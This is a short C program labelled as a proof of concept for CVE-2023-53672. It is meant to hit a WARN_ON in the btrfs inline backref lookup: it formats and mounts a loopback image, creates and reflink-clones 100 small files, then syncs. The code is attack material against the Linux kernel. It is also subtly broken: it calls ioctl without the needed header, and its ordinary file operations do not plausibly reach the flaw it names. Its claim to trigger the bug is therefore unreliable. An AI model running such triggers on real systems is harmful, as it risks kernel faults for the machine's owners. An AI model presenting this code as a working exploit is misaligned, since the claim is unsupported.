// CVE-2023-53672 PoC - btrfs inline backref lookup failure trigger
// This PoC demonstrates the vulnerability by triggering the WARN_ON()
// in lookup_inline_extent_backref() through btrfs filesystem operations.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#define BTRFS_DEVICE "/tmp/btrfs_test.img"
#define MOUNT_POINT "/tmp/btrfs_mnt"
#define IMG_SIZE (512 * 1024 * 1024) // 512MB
int main() {
int fd, ret;
// Step 1: Create a sparse file to use as btrfs device
fd = open(BTRFS_DEVICE, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
return 1;
}
// Truncate to create sparse file
if (ftruncate(fd, IMG_SIZE) < 0) {
perror("ftruncate");
close(fd);
return 1;
}
close(fd);
// Step 2: Create mount point
mkdir(MOUNT_POINT, 0755);
// Step 3: Format with btrfs
printf("Formatting btrfs filesystem...\n");
ret = system("mkfs.btrfs -f " BTRFS_DEVICE);
if (ret != 0) {
fprintf(stderr, "Failed to format btrfs\n");
return 1;
}
// Step 4: Mount btrfs
printf("Mounting btrfs...\n");
ret = mount(BTRFS_DEVICE, MOUNT_POINT, "btrfs", 0, NULL);
if (ret != 0) {
perror("mount");
return 1;
}
// Step 5: Create files and perform operations to trigger inline backref lookup
printf("Creating test files...\n");
char path[256];
for (int i = 0; i < 100; i++) {
snprintf(path, sizeof(path), "%s/testfile_%d", MOUNT_POINT, i);
fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0) continue;
// Write small data to trigger inline extent creation
const char *data = "test data for inline extent";
write(fd, data, strlen(data));
// Clone the file to trigger backref operations
char clone_path[256];
snprintf(clone_path, sizeof(clone_path), "%s/clone_%d", MOUNT_POINT, i);
// Use reflink/clone operations to trigger backref manipulation
int src_fd = open(path, O_RDONLY);
int dst_fd = open(clone_path, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (src_fd >= 0 && dst_fd >= 0) {
// ioctl with FICLONE to trigger reflink
ioctl(dst_fd, _IOW(0x94, 9, int), src_fd);
close(dst_fd);
}
if (src_fd >= 0) close(src_fd);
close(fd);
}
// Step 6: Force sync to trigger extent tree operations
printf("Syncing filesystem...\n");
sync();
// Step 7: Cleanup
printf("Unmounting and cleaning up...\n");
umount(MOUNT_POINT);
rmdir(MOUNT_POINT);
unlink(BTRFS_DEVICE);
printf("Done. Check dmesg for WARN_ON() output.\n");
return 0;
}